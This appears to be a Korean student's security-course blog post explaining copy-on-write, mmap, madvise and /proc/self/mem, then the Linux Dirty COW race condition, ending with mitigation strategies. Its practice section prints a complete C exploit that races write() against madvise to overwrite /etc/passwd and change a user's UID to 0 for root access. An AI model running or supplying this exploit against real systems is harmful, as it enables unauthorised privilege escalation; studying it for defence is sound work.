[운영체제보안]Dirty COW Race Condition Attack

cloudbread·2025년 12월 9일

보안

목록 보기
1/7

1. Copy-On-Write(COW)란?

  • COW는 필요할 때만 메모리를 복사하는 기법
  • 목적 : 메모리를 효율적으로 사용 => 불필요한 복사를 줄이는 것
  • 동작 원리
    • 읽기만 할 때 : 부모 프로세스와 자식 프로세스가 메모리 페이지를 공유
    • 쓰기 시점 : 한 프로세스가 페이지를 수정하려 하면 해당 페이지를 복사하여 독립적으로 사용한다.
  • 장점 : 자식을 위해 모든 데이터를 처음부터 복사하지 않아도된다 => 메모리 절약
  • page table은 가상 주소와 물리 주소를 연결하며, COW 상황에서도 가상 주소는 동일하지만 실제 물리 페이지는 필요시 복사됨
  • 우리가 접근하려는 가상 주소, 실제 데이터는 DRAM에 있음.
  • page table : 가상 주소 => 물리 주소로 변환시키는 것
  • 가상 주소 (page), 물리 주소 (page frame)
  • fork()직후에는, 부모와 자식 페이지는 "읽기 전용"으로 표시된다 => 만약 둘 중 하나가 페이지를 쓰려하면 OC가 보호 예외를 발생시켜서 COW를 수행할 수 있기 때문이다.
  • 자식이 페이지를 쓰려 할 때
    • 쓰기를 시도하면 읽기 전용 페이지이므로 보호 예외 발생
    • OS가 이 페이지를 복사하여 새로운 물리 페이지를 생성
    • 자식이 페이지 테이블에 새 페이지를 읽기/쓰기 기능으로 매핑
    • 이후 자식은 이 페이지를 자유롭게 수정 가능, 부모는 원래 페이지를 사용

2. fork()와 COW

  • fork()는 부모 프로세스를 복제하여 자식 프로세스를 만드는 시스템콜
  • fork()가 호출되면
    • PCB 생성 (PID, 주소공간, 레지스터 상태 등 포함)
    • 부모와 자식은 초기에는 물리 메모리를 공유 => 실제 데이터는 복사하지 않고, COW를 통해 필요할 때만 복사한다.
  • fork() 후 자식 프로세스가 새 프로그램을 실행하면 exec()를 사용한다.

3. exec()동작

  • fork()는 부모 프로세스를 그대로 복제 => PCB, 가상 주소 공간, 코드, 데이터, 스택까지 거의 그대로 복제되지만 COW를 통해 실제 물리 메모리는 공유 => 자식이 곧바로 부모 데이터를 읽을 수 있지만, 쓰기 전까지는 복사되지 않음.
  • 자식 프로세스가 fork() 후 곧바로 exec()를 호출해 새로운 프로그램을 실행한다면, 기존 부모 데이터 페이지를 수정하지 않기 때문에 COW 페이지를 실제로 복사할 필요가 없다.
  • 하지만 PID는 그대로 유지된다.
  • PCB 중 일부 정보는 유지되면, 일부는 새 프로그램에 맞게 교체된다.
  • exec()를 통해 자식 프로세스는 부모의 데이터를 복사할 필요 없이 새 프로그램 실행가능

4. vfork()

  • vfork()는 fork()의 변형으로 자식이 exec()를 바로 호출할 경우를 위해 설계됨.
  • 특징 :
    • 부모는 자식이 exec()를 호출할 때 가지 일시 정지 => 부모와 자식이 동시에 메모리를 수정하지 않도록 안정장치를 제공
    • 자식이 부모 주소 공간을 COW로 공유
  • 이렇게 하면 fork()보다 훨씬 메모리 효율적이다.

5. IPC

  • 프로세스는 독립적인 주소 공간을 가지므로, 직접적으로 다른 프로세스의 메모리에 접근 할 수 없음
  • 따라서 데이터를 공유하거나 동기화를 위해 특별한 통신 방법이 필요함.
  • 1) 공유 메모리 : 여러 프로세스가 같은 메모리 영역을 공유
    • 속도가 매우 빠르지만 동기화 문제가 발생할 가능성이 있다.
  • 2) Message Queue : 프로세스가 운영체제를 통해 메세지를 보내고 받는 구조
    • 프로세스 간 직접 공유 메모리 없이 통신 가능하지만 속도가 공유 메모리보다 느림
  • 3) Semaphore (세마 포어) : 공유 자원에 대한 접근을 제어하여 동기화를 보장하는 기법
    • 공유 자원에 대한 접근을 제어하여 동기화를 보장하는 방법

6. mmap()

  • Dirty COW는 Linux 커널의 Copy-On-Write(COW) 매커니즘에서 발생한 경쟁 조건(Race Condition) 기반의 권한 상승 취약점이다.
  • mmap()은 파일 또는 장치를 프로세스의 메모리에 매핑하기 위한 시스템 콜이다. 이 시스템 콜을 사용하면 디스크의 파일 내용을 메모리에 직접 매핑하여, 파일 입출력을 더 효율적으로 수행할 수 있다.
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
  • addr : 매핑하고 싶은 시작 주소 => 일반적으로 NULL 사용(OS가 결정)
  • length : 매핑할 메모리 크기
  • prot : 메모리 보호 속성
  • flags : 매핑방식 => MAP_SHARED(수정하면 물리 메모리에도 적힘) , MAP_PRIVATE (수정하면 새로운 사본을 만들어서 그걸 수정함)
  • fd : 매핑할 파일의 file descriptor
  • offset : 파일 내에서 매핑할 위치
  • mmap()에서 파일 디스크립터의 역할 : 파일을 메모리에 매핑할 때 반드시 file descriptor(id)를 사용한다. => 즉 fd는 어떤 파일을 메모리에 연결할지 OS에 알려주는 역할만 수행한다.
  • mmap() 자체로는 읽기/쓰기가 불가능하다 (파일 내용이 가상 메모리 주소에 매핑만 되기 떄문이다.) => 실제 읽기/쓰기 동작은 mmap이 반환한 메모리 주소에 접근함으로써 발생한다.
  • mmap 사용후 반드시 munmap() 해야한다. => mmap은 가상 주소 공간을 할당하기 때문에 사용이 끝나면 반드시 해제해야한다. => 메모리 누수가 발생할 수 있음.

7. memcpy

void *memcpy (void dest[restrict .n], const void src[restrict .n], size_t n);
  • 원본 src에서 dest로 n바이트를 복사한다. => 바이트 단위로 복사

8. madvise

  • 특정 메모리 구간에 대해 커널에 힌트를 제공하는 함수
  • MADV_CONTNEED : 이 주소 영역은 더 이상 필요하지 않다고 커널에게 알려준다.
  • COW 때문에 분리되었던 페이지를 다시 공유 페이지 상태로 되돌릴 수 있다.

9. MAP_PRIVATE 특징

  • 프로세스 전용 매핑 => 파일이 가상 메모리에 매핑 되지만, 해당 프로세스만 볼 수 있는 사본이 만들어 진다. => 다른 프로세스에서 같은 파일을 매핑해도 변경 내용은 서로에게 보이지 않는다
  • 메모리 수정 시 동작 => 초기에는 원본 파일 내용과 동일한 메모리를 참조 => 메모리를 읽는 경우에는 단순히 읽기만 수행 , 메모리를 수정하려고 하는 경우에는 OS가 새로운 물리 메모리 블록을 할당하고, 원본 내용을 복사한 후 해당 프로세스의 페이지 테이블을 새 물리 메모리로 변경
  • 1) copy가 일어나고, page table이 바뀌게 된다. => 그 다음 Write .

10. copy-on-write 취약점 조건

  • 1) Read-Only 파일을 메모리에 매핑하는 상황이다.
    • 실행환경에서 /zzz 파일을 만들고 root 권한으로 설정한 뒤, 다른 사용자는 읽기만 가능하도록 설정한다.
    • 일반 사용자는 이 파일을 O_RDONLY 플래그로만 열 수 있다.
    • 따라서 mmap()시에도 PPOT_READ만 가능하며, 매핑된 메모리는 읽기 전용이 된다.
  • 2) Read-Only 메모리에서는 일반적으로 쓰기 불가 => Segmentation Fault
  • 3) 그러나 MAP_PRIVATE에서는 예외 발생 => MAP_PRIVATE + Read-Only 파일 매핑시, OS가 특수한 예외를 허용한다는 것
    • MAP_PRIVATE는 COW 기반이다.
    • 파일이 read-only여도, 프로세스가 쓰기를 시도하면 copy한 뒤 page table을 바꿔서, 그 복사한 페이지를 쓰기 가능 페이지로 연결한다.
    • 즉 read-only여도 메모리 쓰기는 가능해진다.
  • 4) write() 시스템 콜을 사용해야하는 이유 : memcpy()같은 유저 공간 연산은 페이지 보호 플래그를 위반하여 즉시 오류가 발생 => write는 커널 내부에서 수행되므로 커널 경로를 우회적으로 수행할 수 있다.

10. /proc/self/mem 의 역할

  • Linux의 proc 파일 시스템은 프로세스 정보를 담고 있으며, 특히 /proc/self/mem은 자신 프로세스의 전체 메모리에 접근 할 수 있는 특수 파일이다.
  • /proc/self/mem을 열면 현재 프로세스의 메모리 전체를 파일처럼 접근 가능
  • lseek()와 write()를 사용하여 특정 가상 주소로 이동하고 해당 주소 메모리에 직접 write()가 가능한 것이다.
  • mmap() 된 read-only 페이지에 write 시스템 콜을 적용할 수 있는 유일한 합법적 우회 경로

11. Mapping Read-Only Files : the code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
    char *content = "**NEW content**";
    char buffer[30];
    struct stat st;
    void *map;

    // 파일 열기
    int f = open("/zzz", O_RDONLY);
    if(f < 0) { perror("open"); return 1; }

    // 파일 상태 확인
    fstat(f, &st);

    // 파일을 읽기 전용으로 매핑 (MAP_PRIVATE)
    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
    if(map == MAP_FAILED) { perror("mmap"); return 1; }

    // /proc/self/mem 열기 (자신의 프로세스 메모리 접근)
    int fm = open("/proc/self/mem", O_RDWR);
    if(fm < 0) { perror("open /proc/self/mem"); return 1; }

    // 잘못된 lseek 사용 수정:
    // mmap 주소를 직접 쓰면 안되고, 실제 쓰고 싶은 offset만큼 이동
    off_t offset = (off_t)map - (off_t)0; // mmap 시작 주소 기준 offset 계산
    lseek(fm, offset, SEEK_SET);

    // /proc/self/mem를 통해 메모리 쓰기
    write(fm, content, strlen(content));

    // mmap 내용을 복사해서 출력
    memcpy(buffer, map, 29);
    buffer[29] = '\0';
    printf("Content after write: %s\n", buffer);

    // madvise 사용
    madvise(map, st.st_size, MADV_DONTNEED);

    memcpy(buffer, map, 29);
    buffer[29] = '\0';
    printf("Content after madvise: %s\n", buffer);

    close(f);
    close(fm);
    munmap(map, st.st_size);
    return 0;
}
   
  • write는 mmap을 통해서 한게 아니라 /proc/self/mem을 통해서 write를 진행함
  • copy-on-write가 제대로 실행되고 있구나를 확인할 수 있음.

11. Dirty COW 취약점 상세 설명

  • COW 필수 단계
    • 공유 페이지의 실제 내용을 물리 메모리에 복사
    • 페이지 테이블을 수정하여, 가상주소가 새로 복사된 페이지를 가리키게함
    • 복사된 페이지에 데이터를 기록
  • 취약점의 핵심
    • 새페이지로 매핑 변경이 끝난후, 새페이지에 쓰기가 실행되기 바로 직전에 다른 스레드가 madvise(MADV_NONTNEED)를 호출하여 새로 만든 페이지 매핑을 제거
    • 페이지 테이블이 다시 원래 물리 메모리로 돌아가고, C단계의 write()가 원래의 파일을 직접 수정하는 결과가 된다.
Thread 1: write()
        └── COW 단계(A,B,C) 유발
Thread 2: madvise(MADV_DONTNEED)
        └── B 이후, C 이전에 private copy 제거

→ 결과적으로 write()가 원래 read-only 파일을 수정
  • 여전히 커널은 private copy가 있다고 착각하여 write를 허용하는 것이다.

12. Dirty COW 취약점 실습

  • /etc/passwd를 타깃으로 한다.
  • /etc/passw로 수정하여 root 권한 계정으로 바꾸기.
아래는 Dirty COW exploit의 동작 순서이다.
	1.	일반 사용자로 /etc/passwd 파일을 read-only 로 열고 mmap(MAP_PRIVATE)
	2.	/proc/self/mem 파일을 통해 write()로 메모리 overwrite 준비
	3.	Thread 1
	 •	write() 반복 실행
	4.	Thread 2
	 •	madvise(MADV_DONTNEED) 반복 실행
	5.	race 발생 시 커널이 private copy 대신 원본 페이지를 write 처리
	6.	/etc/passwd 원본 파일의 UID 필드가 0으로 변경됨
	7.	사용자 권한 상승 성공 (root shell 획득 가능)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

void *map;

void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[]) 
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;

    int f = open("/etc/passwd", O_RDONLY);
    fstat(f, &st);
    file_size = st.st_size;

    map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    char *position = strstr((char *)map, "test:x:1008");
    if (!position) {
        printf("Target string not found\n");
        exit(1);
    }

    pthread_create(&pth1, NULL, madviseThread, (void *)(long)file_size);
    pthread_create(&pth2, NULL, writeThread, position);

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

    return 0;
}

void *writeThread(void *arg)
{
    char *content = "test:x:0000";
    off_t offset = (off_t)(long)arg;

    int f = open("/proc/self/mem", O_RDWR);

    while (1) {
        lseek(f, offset, SEEK_SET);
        write(f, content, strlen(content));
    }
}

void *madviseThread(void *arg)
{
    int file_size = (int)(long)arg;

    while (1) {
        madvise(map, file_size, MADV_DONTNEED);
    }
}
  

12. Dirty COW 취약점 대응 전략

  • 1). SELinux 또는 AppArmor 정책 강화
    • SELinux와 AppArmor는 Mandatory Access Control(MAC)을 통해 프로세스가 접근할 수 있는 자원과 동작 범위를 강력하게 제한
    • Dirty COW 취약점을 악용하여 공격자가 루트 권한을 획득하더라도, MAC 정책이 활성화되어 있으면 중요한 시스템 파일 접근 및 수정이 차단
  • 2). Sysctl 기반 커널 설정 강화
kernel.unprivileged_userns_clone=0
  • Sysctl을 통해 커널의 동작 파라미터를 조정하면 메모리와 프로세스 관련 취약 영역을 최소화할 수 있다.
  • 비특권 계정이 사용자 네임스페이스를 생성하는 것을 차단하여, 공격자가 네임스페이스 격리를 악용해 메모리 접근 권한을 확보하는 경로를 봉쇄
  • 3) 라이브 패칭 적용
    • 커널 취약점은 패치 제공까지 시간이 소요될 수 있으며, 재부팅이 필요한 경우 즉시 적용이 어려울 수 있다.
    • 라이브 패칭은 시스템을 중단하지 않고 커널 보안 패치를 실시간 적용할 수 있는 기술로, Dirty COW와 같은 고위험 취약점에 대한 신속한 대응을 가능하게 한다.
  • 4) eBPF 기반 실시간 탐지
    • eBPF(Extended Berkeley Packet Filter)는 커널 내부에서 동작하는 고성능 추적/감시 엔진이다.
    • 민감한 메모리 영역에 대한 예기치 않은 쓰기 요청을 탐지하여 권한 상승 공격을 조기에 파악할 수 있다/
  • 5) 커널 무결성 모니터링(IMA/EVM) 적용
    • IMA(Integrity Measurement Architecture)와 EVM(Extended Verification Module)은 시스템의 핵심 파일과 커널 구조의 무결성을 보호하는 기능을 제공한다.
    • 파일 변경 시 즉시 탐지하기 때문에 , 즉각적으로 탐지가 가능해진다.
profile
잡다한거 다 공부중....

0개의 댓글